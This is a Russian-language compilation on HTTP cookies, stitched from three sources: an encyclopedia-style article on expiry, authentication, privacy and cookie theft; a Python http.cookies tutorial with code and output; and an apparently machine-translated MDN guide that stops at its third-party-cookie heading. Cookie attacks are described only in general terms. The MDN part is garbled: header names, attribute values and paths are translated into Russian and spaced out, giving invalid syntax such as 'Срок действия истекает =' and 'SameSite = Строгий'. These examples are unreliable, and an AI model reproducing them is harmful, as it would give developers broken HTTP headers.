Дата истечения указывает браузеру, когда удалить куки. Если срок истечения не указан, куки удаляется по окончании пользовательского сеанса, то есть с закрытием браузера. Если же указана дата истечения срока хранения, куки становится постоянной до указанной даты. Дата истечения указывается в формате «Нед, ДД Мес ГГГГ ЧЧ:ММ:СС GMT». Например:

Set-Cookie: RMID=732423sdfs73242; expires=Fri, 31 Dec 2010 23:59:59 GMT; path=/; domain=.example.net

куки из примера выше имеет имя RMID и значение «732423sdfs73242». Срок его хранения истечёт 31 декабря 2010 года в 23:59:59. Путь «/» и домен «example.net» показывают браузеру, что нужно отправить куки при просмотре любой страницы в домене example.net[18].

Условия истечения срока хранения

Срок хранения куки истекает в следующих случаях:[19]

  1. В конце сессии (например, когда браузер закрывается), если куки не являются постоянными.
  2. Дата истечения была указана и срок хранения вышел.
  3. Браузер удалил куки по запросу пользователя.

Заметим, что сервер может узнать, когда истекают сроки хранения куки, только когда браузер отправляет на сервер эту информацию.

Аутентификация

Куки могут использоваться сервером для опознания ранее аутентифицированных пользователей. Это происходит следующим образом:[20]

  1. Пользователь вводит имя пользователя и пароль в текстовых полях страницы входа и отправляет их на сервер.
  2. Сервер получает имя пользователя и пароль, проверяет их и, при их правильности, отправляет страницу успешного входа, прикрепив куки с неким идентификатором сессии. Эта куки может быть действительна только для текущей сессии браузера, но может быть настроена и на длительное хранение.
  3. Каждый раз, когда пользователь запрашивает страницу с сервера, браузер автоматически отправляет куки с идентификатором сессии серверу. Сервер проверяет идентификатор по своей базе идентификаторов и, при наличии в базе такого идентификатора, «узнаёт» пользователя.

Этот метод широко используется на многих сайтах, например на Yahoo!, в Википедии и в Facebook.

Многие браузеры (в частности Opera, FireFox), путем редактирования свойств куки, могут управлять поведением веб-сайтов. Изменив срок истечения непостоянных (сессионных) куки можно, например, получить формально-неограниченную сессию после авторизации на каком-либо сайте. Возможность редактирования куки стандартными средствами отсутствует в Internet Explorer. Но, воспользовавшись иными механизмами, например, JavaScript, пользователь может изменить куки-файл. Более того, существует возможность заменить сессионные куки постоянными (с указанием срока годности).

Однако серверное программное обеспечение может отслеживать такие попытки. Для этого сервер выдаёт куки на определённый срок и записывает дату окончания куки у себя каждый раз, когда пользователь обращается к серверу. Если куки, присланный браузером, имеет дату годности отличную от той, что хранится на сервере, значит имеет место попытка подмены даты годности куки. Сервер может отреагировать, например, запросив у пользователя повторную авторизацию.

Настройка браузера

Просмотр и настройка куки в браузере Firefox 3.0

Большинство современных браузеров поддерживают куки.[21] И, как правило, пользователь может выбрать, должны куки использоваться или нет. Наиболее распространены следующие настройки браузеров:[18]

  1. Полное отключение куки.
  2. Удаление куки при закрытии браузера.
  3. Различение сторонних куки с третьей стороны и соответствующее обращение с ними (например, ограничение или запрет для них).
  4. Обработка куки на основе «белого» и/или «чёрного» списков, обновляемых пользователем или изготовителем браузера. Куки из «чёрного списка» блокируются.
  5. Запрет куки от определённых доменов (разновидность «чёрного списка»).
  6. Установка разумных сроков истечения куки.

Большинство браузеров, поддерживающих JavaScript, позволяют пользователю увидеть активные на данном сайте куки, набрав javascript:alert("Cookies: "+document.cookie) или javascript:prompt("Cookies:",document.cookie) в адресной строке браузера[18]. Некоторые браузеры содержат менеджер куки, позволяющий пользователю выборочно просмотреть и удалить куки, хранящиеся в браузере.

Приватность и сторонние куки

Куки значительным образом влияют на конфиденциальность и анонимность пользователей Интернета. Хотя куки отправляются только на серверы домена, для которого они предназначены, веб-страница может подгружать изображения или другие компоненты из других доменов. Куки, получаемые во время подгрузки этих компонентов из других доменов, называются «сторонними»[22].

Устанавливая баннеры на разных сайтах и используя сторонние куки, рекламная компания может отследить перемещение пользователей между этими сайтами.

Рекламные компании используют сторонние куки для отслеживания перемещений пользователя по сайтам. В частности, рекламная компания может отслеживать пользователей на всех сайтах, где установлены их рекламные баннеры. Знание страниц, посещённых пользователем, позволяет менять направленность рекламы в зависимости от предпочтений пользователя.

Создание профиля пользователей рассматривается как потенциальная угроза приватности даже при отслеживании в рамках одного домена, но особенно это актуально при отслеживания на нескольких доменах с использованием сторонних куки. По этой причине в некоторых странах куки регулируются законодательством.

Правительство Соединенных Штатов приняло строгие законы в отношении куки в 2000 году, после того, как выяснилось, что Агентство по борьбе с наркотиками США использовало куки для отслеживания пользователей, просмотревших их антинаркотическую рекламу в сети. В 2002 году Дэниел Брандт установил, что ЦРУ устанавливает на компьютеры постоянные куки со сроком хранения до 2010 года. Когда ЦРУ было уведомлено о неправомерности подобного использования куки, управление заявило, что это было непреднамеренно и прекратило их установку.[23] 25 декабря 2005 года Брандт обнаружил, что Агентство национальной безопасности оставляло пару постоянных куки после обновления программного обеспечения. После этого сообщения Агентство немедленно отключило куки.[24]

Директива Евросоюза о конфиденциальности электронных данных от 2002 года[25] содержит нормы, касающиеся использования куки. В частности, пункт 3 статьи 5 устанавливает, что хранение данных (в том числе куки) может осуществляться лишь если:

  1. пользователю предоставляется информация о том, как эти данные используются;
  2. пользователь имеет возможность отказаться от этого.

Тем не менее, в данной статье также говорится, что хранение технически необходимых данных освобождается от этих норм. Ожидалось, что директива вступит в силу с октября 2003 года, но доклад от декабря 2004 года отмечает, что эти положения не нашли применения на практике и что в некоторых государствах (Словакия, Латвия, Греция, Бельгия и Люксембург) эти положения не внесены в национальные законодательства. Доклад предлагает провести тщательный анализ ситуации в государствах, участвующих в договоре.

Спецификация P3P включает возможность для веб-сервера сообщить браузеру о нарушении конфиденциальности, указывая характер собираемой информации и цели сбора. Сюда входит и использование информации, полученной с помощью куки. По спецификации P3P браузер может принимать или отклонять куки согласно пользовательским настройкам или же спросить пользователя.

Многие веб-браузеры, включая Safari от Apple и Internet Explorer версий 6 и 7 от Microsoft, поддерживают спецификации P3P, которые позволяют определить, следует ли разрешать сторонние куки. Веб-браузер Opera позволяет пользователям отказаться от сторонних куки и создать глобальные или выборочные профили безопасности для веб-доменов.[26]Firefox 2 был лишён этой опции, но она была восстановлена в версии 3.

Недостатки куки

Помимо проблем конфиденциальности, куки имеют и некоторые технические недостатки. В частности, они не всегда точно идентифицируют пользователя и могут быть причиной атак злоумышленников.

Неточная идентификация

Если на компьютере используется более одного браузера, то, как правило, каждый имеет отдельное хранилище для куки. Поэтому куки идентифицируют не человека, а сочетание учётной записи, компьютера, и браузера. Таким образом, любой человек, который использует несколько учётных записей, компьютеров или браузеров, имеет несколько наборов куки.

Аналогично, куки не различают пользователей, пользующихся одним компьютером и браузером, если не используются разные учётные записи в операционной системе.

Кража куки

Во время нормальной эксплуатации сервер и браузер пользователя постоянно обмениваются куки. Поскольку куки могут содержать конфиденциальную информацию (имя пользователя, условия доступа и т. д.), их содержимое не должно быть доступно другим. Кража куки — это акт несанкционированного перехвата куки посторонними.

Куки могут быть украдены другим компьютером, читающим трафик сети.

Куки могут быть украдены с помощью анализа трафика — это называется взломом сессии. Сетевой трафик может быть перехвачен и прочитан не только его отправителем и получателем (особенно в публичных сетях Wi-Fi). Этот трафик включает в себя и куки, передаваемые через незашифрованные HTTP-сессии. Там, где сетевой трафик не шифруется, злоумышленники могут прочесть сообщения пользователей сети, в том числе их куки, используя программы, называемые сниферами.

Эта проблема может быть решена путём установления между пользователем и сервером шифрованного соединения с использованием протокола HTTPS. Сервер также может использовать специальный флаг при установке куки, после чего браузер будет передавать их только по надёжному каналу, например, через SSL-соединение.[6]

Однако большое число веб-сайтов, даже использующих безопасные HTTPS-сессии для идентификации пользователя, затем отправляют куки и другие данные более простым незашифрованным HTTP-соединением. Злоумышленники могут легко перехватить куки других пользователей и использовать их на соответствующих веб-сайтах.[27]

Межсайтовый скриптинг: куки должны обмениваться лишь между сервером и клиентом, а отправляются третьей стороне.

Для того чтобы гарантировать передачу куки только через HTTPS-сессию, куки должны иметь атрибут Secure.

Другой способ кражи куки — межсайтовый скриптинг и несанкционированная отправка куки на серверы, которые не должны получать их. Современные браузеры могут исполнять фрагменты кода, полученные с сервера. Если куки доступны во время этого исполнения, их содержимое может в той или иной форме оказаться на серверах, которые не должны получать к ним доступ. Шифрование куки не поможет в этом случае.[28]

Следующий вид межсайтового скриптинга, как правило, используют на сайтах, где пользователям разрешено отправлять сообщения с HTML-содержимым. При вставке соответствующего PHP/Javascript -кода в сообщение атакующий может получить куки других пользователей.

Эти атаки можно предотвратить установкой флага HttpOnly,[29] делающей куки недоступными для скриптов со стороны клиента. Тем не менее, веб-разработчики должны предусматривать защиту от межсайтового скриптинга на стадии разработки веб-сайтов.[30]

Подмена куки

Подмена куки: атакующий отправляет серверу подложные куки, возможно изменив легитимные куки, ранее полученные от сервера.

Хотя теоретически куки должны сохраняться и отправляться назад на сервер неизменными, злоумышленник может изменить их содержимое перед отправкой. К примеру, куки могут содержать общую сумму, которую пользователь должен уплатить за свои покупки; изменив это значение, злоумышленник сможет заплатить меньше установленной суммы. Процесс изменения содержимого куки называется подменой куки.

Для защиты от подобных атак большинство веб-сайтов хранят в куки лишь идентификатор сессии — случайно сгенерированное число или набор символов, используемое для определения сессии, в то время как вся другая информация хранится на сервере. В этом случае подмена куки значительно затрудняется.

Межсайтовые куки

Атакующий использует баг браузера для отправки серверу подложных куки.

Каждый сайт должен иметь свои собственные куки, и сайт example.com не должен изменять или устанавливать куки другого сайта example.org. Уязвимости веб-браузеров позволяют вредоносным сайтам нарушать это правило. Это похоже на отправление куки, но здесь злоумышленник атакует пользователей с уязвимыми браузерами, а не сайт напрямую. Целью таких атак могут быть идентификаторы сессий.

Для защиты пользователям рекомендуется использовать последние версии браузеров, в которых эта проблема исправлена.

Нестабильность между клиентом и сервером

Куки могут вызвать противоречия между клиентом и сервером. Если пользователь получает куки, а затем нажимает кнопку «Назад» в браузере, то состояние браузера уже другое по сравнению с моментом получения куки. Для примера возьмем электронный магазин с корзиной покупок, основанной на применении куки: пользователь добавляет покупку в корзину, затем нажимает кнопку «Назад», но покупка остаётся в корзине, хотя пользователь, возможно, хотел отменить покупку. Это может привести к путанице и ошибкам. Веб-разработчики должны помнить об этом и принимать меры для решения таких ситуаций.

Срок действия куки

Постоянные куки критикуются экспертами за свой долгий срок хранения, который позволяет веб-сайтам отслеживать пользователей и создавать их профиль с течением времени.[31] Здесь затрагиваются и вопросы безопасности, поскольку украденные постоянные куки могут использоваться на протяжении значительного периода времени.

Кроме того, правильно составленная вредоносная программа, которая может быть запущена после аутентификации пользователя, сможет перенести сессионные куки на компьютер злоумышленника, что в первом приближении позволит посещать защищённый сайт без ввода имени пользователя и пароля сколь угодно долгое время.

Альтернативы куки

Некоторые операции, для которых используются куки, могут быть реализованы с помощью других механизмов. Тем не менее, эти альтернативы имеют свои недостатки, которые делают куки порой более предпочтительными на практике. Большинство этих альтернатив позволяет отслеживать пользователя, хотя и менее надёжным способом, чем куки. Как результат, неприкосновенность частной жизни остаётся под угрозой, даже если куки отключены браузером или не устанавливаются сервером.

IP-адрес

Этот ненадёжный метод отслеживания пользователей основан на хранении IP-адресов компьютеров, просматривающих страницы. Данная техника доступна с самого появления World Wide Web, которая требует знания IP-адреса клиента для загрузки страницы. Эту информацию можно хранить на сервере вне зависимости от того, используются куки или нет.

Тем не менее этот способ менее надёжен, чем куки, поскольку компьютеры и прокси могут совместно использоваться несколькими пользователями, а один компьютер может использовать разные IP-адреса в разных сессиях (чаще всего это относится к коммутируемому соединению, т. н. dial-up).

Отслеживание по IP-адресу может оказаться невозможным и при использовании систем сохранения анонимности (например, Tor). В таких системах один браузер может иметь несколько IP-адресов, и несколько пользователей могут использовать один IP-адрес, в результате чего отслеживание IP-адреса не представляется возможным.

Некоторые крупные провайдеры, включая AOL, пропускают весь веб-трафик через сеть прокси[источник не указан 855 дней], что также делает этот метод неосуществимым.

URL (строка запроса)

Основная статья: URL

Более прогрессивная методика основана на встраивании данных в URL. Обычно для этого используется строка запроса, но так же могут задействоваться и другие части URL. Языки Java и PHP активно используют эти механизмы при отключенных куки.

Веб-сервер добавляет строку запроса к ссылке на веб-страницу при её отправке в браузере. Когда пользователь переходит по ссылке, браузер возвращает строку запроса серверу.

В этом плане строка запроса и куки очень схожи: они являются фрагментами информации сервера, возвращаемой обратно браузером. Но есть и определённые различия: так как строка запроса является частью URL, то при повторном использовании этого URL на сервер передастся та же информация. Например, если опции пользователя кодированы в строке запроса URL, и пользователь отправляет этот URL другому пользователю, эти опции будут действовать и для другого пользователя.

Более того, даже если пользователь повторно обращается к одной и той же странице, нет никакой гарантии, что строка запроса останется неизменной. Например, при переходе с внутренних страниц сайта и с внешних поисковых систем, строки запроса будут разным, когда куки оставались бы одинаковыми.

Другой недостаток строки запроса проявляется в вопросах безопасности: хранение идентификатора сессии в строке запроса упрощает проведение атаки. Передача идентификатора в куки более безопасна.

Скрытые поля формы

Одним из способов отслеживания сессии с помощью выполняемой на стороне сервера программы является использование веб-форм со скрытыми полями. Этот метод очень похож на строку запроса URL и обладает почти теми же преимуществами и недостатками, а если параметры формы отправляются HTTP-методом GET, то поля фактически станут частью URL, который браузер отправит на сервер. Но большинство форм обрабатывается HTTP POST, при которой информация не является ни частью URL, ни куки.

Этот подход даёт два преимущества в вопросе отслеживания: во-первых, вставка информации в HTML-код и в POST, а не в URL, означает, что средний пользователь её просто не заметит, во-вторых, информация сессии не копируется с копированием URL (например, когда пользователь отправляет ссылку по электронной почте). Недостаток метода состоит в том, что информация сессии содержится в HTML-коде, поэтому веб-страница должна генерироваться каждый раз, когда её запрашивают, что увеличивает нагрузку на веб-сервер.

HTTP-аутентификация

Протокол HTTP включает в себя базовую аутентификацию и шифрование, которые разрешают доступ к странице, только когда пользователь введёт правильное имя пользователя и пароль. Если сервер запрашивает подобное, то браузер обращается к пользователю и, получив нужные данные, сохраняет и использует их для доступа к другим страницам, не требуя от пользователя вводить их заново. С точки зрения пользователя эффект тот же, что и при использовании куки: имя пользователя и пароль требуются лишь однажды, и потом пользователь получает доступ к сайту. При базовой аутентификации сочетание имени пользователя и пароля отправляется на сервер при каждом запросе браузера в незашифрованном виде. Это означает, что если кто-то перехватывает трафик, он сможет получить эту информацию и впоследствии использовать. При шифрованной аутентификации имя пользователя и пароль шифруются со случайным ключом, созданным сервером.

Сохранение на клиентской стороне

Некоторые веб-браузеры позволяют странице сохранять информацию локально для последующего извлечения. Internet Explorer, например, поддерживает сохранение информации в истории, избранном, XML-хранилище, или позволяет провести прямое сохранение веб-страницы на диск.[32]

Немного отличный механизм используются в браузерах, кэширующих файлы javascript, используемые в веб-странице. Например, страница может содержать ссылку <script type="text/javascript" src="example.js">. С загрузкой страницы загружается и example.js. Затем скрипт кэшируется и не требует загрузки при повторном посещении страницы. В результате, если скрипт содержит такое значение, как id=3243242, этот идентификатор остаётся в силе и может быть использован другим сценарием javascript или другой страницей, запрашивающей этот скрипт.

Примечания

Ссылки

Всё о работе с cookie в Python — класс http.cookies / Хабр

Модуль http.cookies реализует парсер для cookie, по большей части совместимый с RFC 2109 — документом со стандартами работы с cookie и смежными вещами.

Стоит отметить, что реализация чуть менее строгая, чем стандарт, так как Microsoft Internet Explorer 3.0x, а позже современные браузеры облегчили правила для работы с cookie.


Cookie используются как инструмент для поддержания текущего состояния в браузерных приложениях, поэтому чаще всего они создаются, изменяются и используются сервером, а хранятся у пользователя. Самый простой пример создания пары ключ-значение:

#  http_cookies_setheaders.py
from http import cookies

c = cookies.SimpleCookie()
c['mycookie'] = 'cookie_value'
print(c)

Выводом является валидный Set-Cookie заголовок, готовый к передаче клиенту как часть HTTP ответа.

$ python3 http_cookies_setheaders.py

Set-Cookie: mycookie=cookie_value

Также вы можете управлять другими параметрами cookie, такими как время жизни записи, путь и домен. Оказывается, что всеми RFC атрибутами можно управлять с помощью объекта Morsel.

#  http_cookies_Morsel.py
from http import cookies
import datetime

def show_cookie(c):
    print(c)
    for key, morsel in c.items():
        print()
        print('key =', morsel.key)
        print('  value =', morsel.value)
        print('  coded_value =', morsel.coded_value)
        for name in morsel.keys():
            if morsel[name]:
                print('  {} = {}'.format(name, morsel[name]))

c = cookies.SimpleCookie()

# Cookie со значением, которое должно быть закодировано,
# чтобы поместиться в заголовок
c['encoded_value_cookie'] = '"cookie,value;"'
c['encoded_value_cookie']['comment'] = 'Has escaped punctuation'

# А эта cookie применяется только к части сайта
c['restricted_cookie'] = 'cookie_value'
c['restricted_cookie']['path'] = '/sub/path'
c['restricted_cookie']['domain'] = 'PyMOTW'
c['restricted_cookie']['secure'] = True

# Эта cookie истекает через 5 минут
c['with_max_age'] = 'expires in 5 minutes'
c['with_max_age']['max-age'] = 300  # seconds

# Cookie истекает в указанное время
c['expires_at_time'] = 'cookie_value'
time_to_live = datetime.timedelta(hours=1)
expires = (datetime.datetime(2009, 2, 14, 18, 30, 14) +
           time_to_live)

# Формат: Wdy, DD-Mon-YY HH:MM:SS GMT
expires_at_time = expires.strftime('%a, %d %b %Y %H:%M:%S')
c['expires_at_time']['expires'] = expires_at_time

show_cookie(c)

Этот пример включает в себя два различных метода для создания cookie с датой истечения срока жизни. Один устанавливает max-age как количество секунд жизни cookie с момента создания, другой устанавливает параметр expires как дату и время, когда cookie должна быть удалена.

$ python3 http_cookies_Morsel.py

Set-Cookie: encoded_value_cookie="\"cookie\054value\073\"";
Comment="Has escaped punctuation"
Set-Cookie: expires_at_time=cookie_value; expires=Sat, 14 Feb
2009 19:30:14
Set-Cookie: restricted_cookie=cookie_value; Domain=PyMOTW;
Path=/sub/path; Secure
Set-Cookie: with_max_age="expires in 5 minutes"; Max-Age=300

key = encoded_value_cookie
  value = "cookie,value;"
  coded_value = "\"cookie\054value\073\""
  comment = Has escaped punctuation

key = restricted_cookie
  value = cookie_value
  coded_value = cookie_value
  path = /sub/path
  domain = PyMOTW
  secure = True

key = with_max_age
  value = expires in 5 minutes
  coded_value = "expires in 5 minutes"
  max-age = 300

key = expires_at_time
  value = cookie_value
  coded_value = cookie_value
  expires = Sat, 14 Feb 2009 19:30:14

Оба объекта Cookie и Morsel ведут себя как словари. Morsel отвечает за фиксированный набор значений: expires, path, comment, domain, max-age, secure, version.


Заголовок cookie должен быть закодирован для того, чтобы потом он был правильно распарсен.

#  http_cookies_coded_value.py
from http import cookies

c = cookies.SimpleCookie()
c['integer'] = 5
c['with_quotes'] = 'He said, "Hello, World!"'

for name in ['integer', 'with_quotes']:
    print(c[name].key)
    print('  {}'.format(c[name]))
    print('  value={!r}'.format(c[name].value))
    print('  coded_value={!r}'.format(c[name].coded_value))
    print()

Morsel.value всегда является закодированным значением cookie, в то время как Morsel.coded_value всегда является представлением, которое используется для передачи значения клиенту. Оба значения всегда являются строками. Значения, которые не являются строками, будут автоматически преобразованы в нужный тип.

$ python3 http_cookies_coded_value.py

integer
  Set-Cookie: integer=5
  value='5'
  coded_value='5'

with_quotes
  Set-Cookie: with_quotes="He said\054 \"Hello\054 World!\""
  value='He said, "Hello, World!"'
  coded_value='"He said\\054 \\"Hello\\054 World!\\""'

После того, как Set-cookie заголовки переданы клиенту, он будет возвращать их на сервер в последующих запросах, используя заголовок Cookie. Входящий заголовок может содержать несколько cookie, разделённых символами ;:

Cookie: integer=5; with_quotes="He said, \"Hello, World!\""

В зависимости от веб-сервера и фреймворка, cookie доступы либо прямо из заголовка, либо из значения HTTP_COOKIE.

#  http_cookies_parse.py
from http import cookies

HTTP_COOKIE = '; '.join([
    r'integer=5',
    r'with_quotes="He said, \"Hello, World!\""',
])

print('From constructor:')
c = cookies.SimpleCookie(HTTP_COOKIE)
print(c)

print()
print('From load():')
c = cookies.SimpleCookie()
c.load(HTTP_COOKIE)
print(c)

Чтобы их раскодировать, передайте нужную часть cтроки в SimpleCookie, либо используйте метод load().

$ python3 http_cookies_parse.py

From constructor:
Set-Cookie: integer=5
Set-Cookie: with_quotes="He said, \"Hello, World!\""

From load():
Set-Cookie: integer=5
Set-Cookie: with_quotes="He said, \"Hello, World!\""

Кроме использования заголовка Set-Cookie, серверы поставляют JavaScript, который добавляет cookie клиенту. SimpleCookie и Morsel генерируют JavaScript при использовании метода js_output().

#  http_cookies_js_output.py
from http import cookies
import textwrap

c = cookies.SimpleCookie()
c['mycookie'] = 'cookie_value'
c['another_cookie'] = 'second value'
js_text = c.js_output()
print(textwrap.dedent(js_text).lstrip())

Результатом является готовый тег script для задания нужных значений cookie.

$ python3 http_cookies_js_output.py

<script type="text/javascript">
<!-- begin hiding
document.cookie = "another_cookie=\"second value\"";
// end hiding -->
</script>

<script type="text/javascript">
<!-- begin hiding
document.cookie = "mycookie=cookie_value";
// end hiding -->
</script>

Использование файлов cookie HTTP — HTTP

HTTP-файл cookie (веб-файл cookie, файл cookie браузера) — это небольшой фрагмент данных, который сервер отправляет в веб-браузер пользователя. Браузер может сохранить файл cookie и отправить его обратно на тот же сервер с более поздними запросами. Как правило, HTTP cookie используется, чтобы определить, поступают ли два запроса от одного и того же браузера, например, чтобы пользователь оставался в системе. Он запоминает информацию о состоянии для протокола HTTP без сохранения состояния.

Файлы cookie в основном используются для трех целей:

Управление сеансом

Логины, тележки для покупок, результаты игр или что-то еще, что сервер должен запомнить

Персонализация

Пользовательские настройки, темы и другие настройки

Отслеживание

Запись и анализ поведения пользователей

Файлы cookie когда-то использовались для общего хранения на стороне клиента.Хотя это имело смысл, когда они были единственным способом хранения данных на клиенте, сейчас рекомендуются современные API-интерфейсы хранилища. Файлы cookie отправляются с каждым запросом, поэтому они могут ухудшить производительность (особенно для мобильных подключений для передачи данных). Современные API для клиентского хранилища — это API веб-хранилища ( localStorage и sessionStorage ) и IndexedDB.

Примечание: Чтобы просмотреть сохраненные файлы cookie (и другое хранилище, которое может использовать веб-страница), вы можете включить инспектор хранилища в инструментах разработчика и выбрать файлы cookie в дереве хранилища.

После получения HTTP-запроса сервер может отправить один или несколько заголовков Set-Cookie с ответом. Браузер обычно сохраняет файл cookie и отправляет его с запросами на тот же сервер в HTTP-заголовке Cookie . Вы можете указать дату истечения срока или период времени, по истечении которого cookie не следует отправлять. Вы также можете установить дополнительные ограничения для определенного домена и пути, чтобы ограничить отправку файлов cookie. Дополнительные сведения об атрибутах заголовка, упомянутых ниже, см. В справочной статье Set-Cookie .

Заголовки HTTP-ответа

Set-Cookie и Cookie

Заголовок HTTP-ответа Set-Cookie отправляет файлы cookie с сервера пользовательскому агенту. Простой файл cookie устанавливается так:

  Set-Cookie:  = 
  

Это указывает серверу, отправляющему заголовки, чтобы сообщить клиенту, что нужно сохранить пару файлов cookie:

 HTTP / 2.0 200 ОК
Тип содержимого: текст / html
Set-Cookie: yummy_cookie = choco
Set-Cookie: вкусное_cookie = клубника

[содержание страницы]
 

Затем при каждом последующем запросе к серверу браузер отправляет все ранее сохраненные файлы cookie обратно на сервер, используя заголовок Cookie .

 GET /sample_page.html HTTP / 2.0
Хост: www.example.org
Cookie: yummy_cookie = choco; вкусно_cookie = клубника
 

Примечание: Вот как использовать заголовок Set-Cookie в различных серверных приложениях:

Определить время жизни файла cookie

Время жизни файла cookie можно определить двумя способами:

  • Сеанс Файлы cookie удаляются по окончании текущего сеанса. Браузер определяет, когда заканчивается «текущий сеанс», и некоторые браузеры используют сеанс , восстанавливая при перезапуске.Это может привести к тому, что файлы cookie сеанса будут длиться бесконечно.
  • Постоянные файлы cookie удаляются в дату, указанную атрибутом Expires , или по истечении периода времени, указанного в атрибуте Max-Age .

Например:

 Set-Cookie: id = a3fWa; Срок действия истекает = Thu, 31 Oct 2021 07:28:00 GMT;
 

Примечание: Когда вы устанавливаете дату и время Expires , они относятся к клиенту, на котором устанавливается cookie, а не к серверу.

Если ваш сайт аутентифицирует пользователей, он должен повторно создавать и повторно отправлять файлы cookie сеанса, даже те, которые уже существуют, всякий раз, когда пользователь аутентифицируется. Такой подход помогает предотвратить атаки фиксации сеанса, когда третья сторона может повторно использовать сеанс пользователя.

Ограничить доступ к файлам cookie

Вы можете гарантировать, что файлы cookie будут отправляться безопасно и не будут доступны непреднамеренным сторонам или сценариям одним из двух способов: с помощью атрибута Secure и атрибута HttpOnly .

Файл cookie с атрибутом Secure отправляется на сервер только с зашифрованным запросом по протоколу HTTPS. Он никогда не отправляется с незащищенным HTTP (кроме localhost), что означает, что злоумышленники не могут легко получить к нему доступ. Небезопасные сайты (с http: в URL-адресе) не могут устанавливать файлы cookie с атрибутом Secure . Однако не думайте, что Secure предотвращает любой доступ к конфиденциальной информации в файлах cookie. Например, кто-то с доступом к жесткому диску клиента (или JavaScript, если атрибут HttpOnly не установлен) может читать и изменять информацию.

Файл cookie с атрибутом HttpOnly недоступен для API JavaScript Document.cookie ; он только отправляется на сервер. Например, файлы cookie, которые сохраняются в сеансах на стороне сервера, не обязательно должны быть доступны для JavaScript и должны иметь атрибут HttpOnly . Эта мера предосторожности помогает смягчить атаки с использованием межсайтовых сценариев (XSS).

Вот пример:

 Set-Cookie: id = a3fWa; Срок действия истекает = Thu, 21 Oct 2021 07:28:00 GMT; Безопасный; HttpOnly
 

Определите, куда отправляются файлы cookie.

Атрибуты Домен и Путь определяют область файла cookie: по каким URL-адресам файлы cookie должны отправляться.

Атрибут домена

Атрибут Домен указывает, какие хосты могут получать cookie. Если не указано, по умолчанию для атрибута используется тот же хост, который установил cookie, , исключая поддомены . Если Домен указан , то поддомены всегда включаются. Следовательно, указание домена менее ограничительно, чем его пропуск. Однако это может быть полезно, когда поддоменам необходимо обмениваться информацией о пользователе.

Например, если вы установите Domain = mozilla.org , файлы cookie доступны на таких поддоменах, как developer.mozilla.org .

Атрибут пути

Атрибут Path указывает путь URL, который должен существовать в запрошенном URL для отправки заголовка Cookie . Символ % x2F («/») считается разделителем каталогов, и подкаталоги также совпадают.

Например, если вы установите Path = / docs , эти пути запроса будут соответствовать:

  • / документы
  • / документы /
  • / docs / Web /
  • / docs / Web / HTTP

Но в этих путях запросов нет:

Атрибут SameSite

Атрибут SameSite позволяет серверам указывать, будут ли отправляться файлы cookie с межсайтовыми запросами (где сайт определяется регистрируемым доменом).Это обеспечивает некоторую защиту от атак с подделкой межсайтовых запросов (CSRF). Он принимает три возможных значения: Strict , Lax и None .

При использовании Strict файл cookie отправляется только на тот сайт, где он был создан. Lax аналогичен, за исключением того, что файлы cookie отправляются, когда пользователь переходит на на сайт происхождения файла cookie. Например, перейдя по ссылке с внешнего сайта. Нет указывает, что файлы cookie отправляются как при исходящих, так и межсайтовых запросах, но только в безопасных контекстах (т.е., если SameSite = None , то также должен быть установлен атрибут Secure ). Если атрибут SameSite не установлен, cookie обрабатывается как Lax .

Вот пример:

 Set-Cookie: mykey = myvalue; SameSite = Строгий
 

Примечание: Стандарт, относящийся к SameSite , недавно изменился (MDN документирует новое поведение выше). Информацию о том, как атрибут обрабатывается в определенных версиях браузера, см. В таблице совместимости браузера с файлами cookie:

  • SameSite = Lax — новое значение по умолчанию, если SameSite не указано.Раньше по умолчанию для всех запросов отправлялись файлы cookie.
  • Файлы cookie с SameSite = None теперь также должны указывать атрибут Secure (для них требуется безопасный контекст).
Префиксы файлов cookie

Из-за конструкции механизма cookie сервер не может подтвердить, что cookie был установлен из безопасного источника, или даже сообщить , где был изначально установлен cookie.

Уязвимое приложение в субдомене может установить cookie с атрибутом Domain , который дает доступ к этому cookie во всех других субдоменах.Этот механизм может быть использован в атаке с фиксацией сеанса . Смотрите фиксацию сеанса для основных методов смягчения.

Однако в качестве меры глубокой защиты вы можете использовать префиксы файлов cookie для утверждения конкретных фактов о файлах cookie. Доступны два префикса:

__Хост-

Если имя файла cookie имеет этот префикс, оно принимается в заголовке Set-Cookie только в том случае, если оно также отмечено атрибутом Secure , было отправлено из безопасного источника, не содержит ли не атрибут Domain и для атрибута Path установлено значение /.Таким образом, эти файлы cookie можно рассматривать как «заблокированные для домена».

__Secure-

Если имя файла cookie имеет этот префикс, оно принимается в заголовке Set-Cookie только в том случае, если оно помечено атрибутом Secure и было отправлено из безопасного источника. Это слабее, чем префикс __Host- .

Браузер отклоняет файлы cookie с этими префиксами, которые не соответствуют их ограничениям. Обратите внимание, что это гарантирует, что файлы cookie с префиксами, созданные субдоменом, либо ограничиваются субдоменом, либо полностью игнорируются.Поскольку сервер приложений проверяет только конкретное имя файла cookie при определении, аутентифицирован ли пользователь или верен ли токен CSRF, это эффективно действует как мера защиты от фиксации сеанса.

Примечание: На сервере приложений веб-приложение должно проверять полное имя файла cookie, включая префикс. Пользовательские агенты не удаляют префикс из файла cookie перед его отправкой в ​​заголовке запроса Cookie .

Дополнительные сведения о префиксах файлов cookie и текущем состоянии поддержки браузером см. В разделе «Префиксы» справочной статьи Set-Cookie.

Доступ к JavaScript с использованием Document.cookie

Вы можете создавать новые файлы cookie с помощью JavaScript, используя свойство Document.cookie . Вы также можете получить доступ к существующим файлам cookie из JavaScript, если не установлен флаг HttpOnly .

  document.cookie = "yummy_cookie = choco";
document.cookie = "вкусное_cookie = клубника";
console.log (document.cookie);

  

Файлы cookie, созданные с помощью JavaScript, не могут содержать флаг HttpOnly .

Обратите внимание на вопросы безопасности в разделе «Безопасность» ниже.Файлы cookie, доступные для JavaScript, могут быть украдены через XSS.

Примечание: При хранении информации в файлах cookie имейте в виду, что все значения файлов cookie видны конечному пользователю и могут быть изменены им. В зависимости от приложения вы можете использовать непрозрачный идентификатор, который ищет сервер, или исследовать альтернативные механизмы аутентификации / конфиденциальности, такие как веб-токены JSON.

Способы смягчения атак с использованием файлов cookie:

  • Используйте атрибут HttpOnly для предотвращения доступа к значениям файлов cookie через JavaScript.
  • Файлы cookie, которые используются для конфиденциальной информации (например, для проверки подлинности), должны иметь короткий срок жизни, при этом для атрибута SameSite установлено значение Strict или Lax . (См. Атрибут SameSite выше.) В браузерах, поддерживающих SameSite, это гарантирует, что файл cookie аутентификации не будет отправлен с межсайтовыми запросами. Это сделало бы запрос фактически неаутентифицированным для сервера приложений.

Сторонние файлы cookie

